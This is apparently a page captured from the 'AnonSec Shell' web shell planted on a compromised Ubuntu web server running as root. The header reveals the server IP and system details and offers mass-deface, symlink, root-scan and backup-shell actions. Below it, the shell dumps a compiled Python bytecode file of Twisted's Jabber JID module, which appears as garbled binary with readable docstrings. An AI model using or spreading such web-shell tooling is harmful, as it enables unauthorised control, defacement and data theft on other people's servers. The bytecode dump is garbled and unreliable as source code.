AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/jid.cpython-310.pyc
o

�b��@stUdZddlmZddlmZmZmZGdd�de�Zdd�Z	dd	�Z
iZeed
fe
d<dd
�ZGdd
�d
�ZdS)a$
Jabber Identifier support.

This module provides an object to represent Jabber Identifiers (JIDs) and
parse string representations into them with proper checking for illegal
characters, case folding and canonicalisation through
L{stringprep<twisted.words.protocols.jabber.xmpp_stringprep>}.
�)�Dict)�nameprep�nodeprep�resourceprepc@seZdZdZdS)�
InvalidFormatzT
    The given string could not be parsed into a valid Jabber Identifier (JID).
    N)�__name__�
__module__�__qualname__�__doc__�rr�D/usr/lib/python3/dist-packages/twisted/words/protocols/jabber/jid.pyrsrcCs�d}d}d}|�d�}|�d�}|dkr,|dkr|}nY|d|�}||dd�p*d}nH|dkrA|d|�p7d}||dd�}n3||krd|d|�pLd}||d|||�}||dd�pbd}n|d|�}||dd�psd}t|||�S)a�
    Parse given JID string into its respective parts and apply stringprep.

    @param jidstring: string representation of a JID.
    @type jidstring: L{str}
    @return: tuple of (user, host, resource), each of type L{str} as
             the parsed and stringprep'd parts of the given JID. If the
             given string did not have a user or resource part, the respective
             field in the tuple will hold L{None}.
    @rtype: L{tuple}
    N�@�/���r�)�find�prep)�	jidstring�user�host�resource�user_sep�res_seprrr�parses(

rcCs�|rz	t�t|��}Wn
tytd��wd}|std��z	t�t|��}Wnty3td��w|rKz	t�t|��}Wn
tyJtd��wd}|||fS)aP
    Perform stringprep on all JID fragments.

    @param user: The user part of the JID.
    @type user: L{str}
    @param host: The host part of the JID.
    @type host: L{str}
    @param resource: The resource part of the JID.
    @type resource: L{str}
    @return: The given parts with stringprep applied.
    @rtype: L{tuple}
    zInvalid character in usernameNzServer address required.zInvalid character in hostnamezInvalid character in resource)r�prepare�str�UnicodeErrorrrr)rrrrrrrMs,���
r�JID�__internJIDscCs$|tvrt|St|�}|t|<|S)z2
    Return interned JID.

    @rtype: L{JID}
    )rr)r�jrrr�	internJIDys
r c@sfeZdZdZddd�Zdd�Zdd�Zd	d
�Zdede	fd
d�Z
dd�Zdd�ZeZ
defdd�ZdS)rz�
    Represents a stringprep'd Jabber ID.

    JID objects are hashable so they can be used in sets and as keys in
    dictionaries.
    NcCsH|s|std��|rt|�\}}}nt|�\}}}||_||_||_dS)Nz?You must provide a value for either 'str' or 'tuple' arguments.)�RuntimeErrorrrrrr)�selfr�tuplerr�resrrr�__init__�s�
zJID.__init__cCs|jr|j�d|j��S|jS)z�
        Extract the bare JID as a unicode string.

        A bare JID does not have a resource part, so this returns either
        C{user@host} or just C{host}.

        @rtype: L{str}
        r
)rr�r"rrr�userhost�s	zJID.userhostcCs|jr	t|���S|S)a�
        Extract the bare JID.

        A bare JID does not have a resource part, so this returns a
        L{JID} object representing either C{user@host} or just C{host}.

        If the object this method is called upon doesn't have a resource
        set, it will return itself. Otherwise, the bare JID object will
        be created, interned using L{internJID}.

        @rtype: L{JID}
        )rr r'r&rrr�userhostJID�s
zJID.userhostJIDcCsV|jr|jr|j�d|j�d|j��S|j�d|j��S|jr(|j�d|j��S|jS)zW
        Return the string representation of this JID.

        @rtype: L{str}
        r
r)rrrr&rrr�full�szJID.full�other�returncCs2t|t�r|j|jko|j|jko|j|jkStS)z�
        Equality comparison.

        L{JID}s compare equal if their user, host and resource parts all
        compare equal.  When comparing against instances of other types, it
        uses the default comparison.
        )�
isinstancerrrr�NotImplemented)r"r*rrr�__eq__�s

�
�z
JID.__eq__cCst|j|j|jf�S)a
        Calculate hash.

        L{JID}s with identical constituent user, host and resource parts have
        equal hash values.  In combination with the comparison defined on JIDs,
        this allows for using L{JID}s in sets and as dictionary keys.
        )�hashrrrr&rrr�__hash__�szJID.__hash__cCs|��S)z�
        Get unicode representation.

        Return the string representation of this JID as a unicode string.
        @see: L{full}
        �r)r&rrr�__unicode__�szJID.__unicode__cCsd|��S)z�
        Get object representation.

        Returns a string that would create a new JID object that compares equal
        to this one.
        zJID(%r)r1r&rrr�__repr__�szJID.__repr__)NN)rrr	r
r%r'r(r)�object�boolr.r0r2�__str__rr3rrrrr�s


N)r
�typingr�.twisted.words.protocols.jabber.xmpp_stringpreprrr�	Exceptionrrrrr�__annotations__r rrrrr�<module>s	/)

Anon7 - 2022
AnonSec Team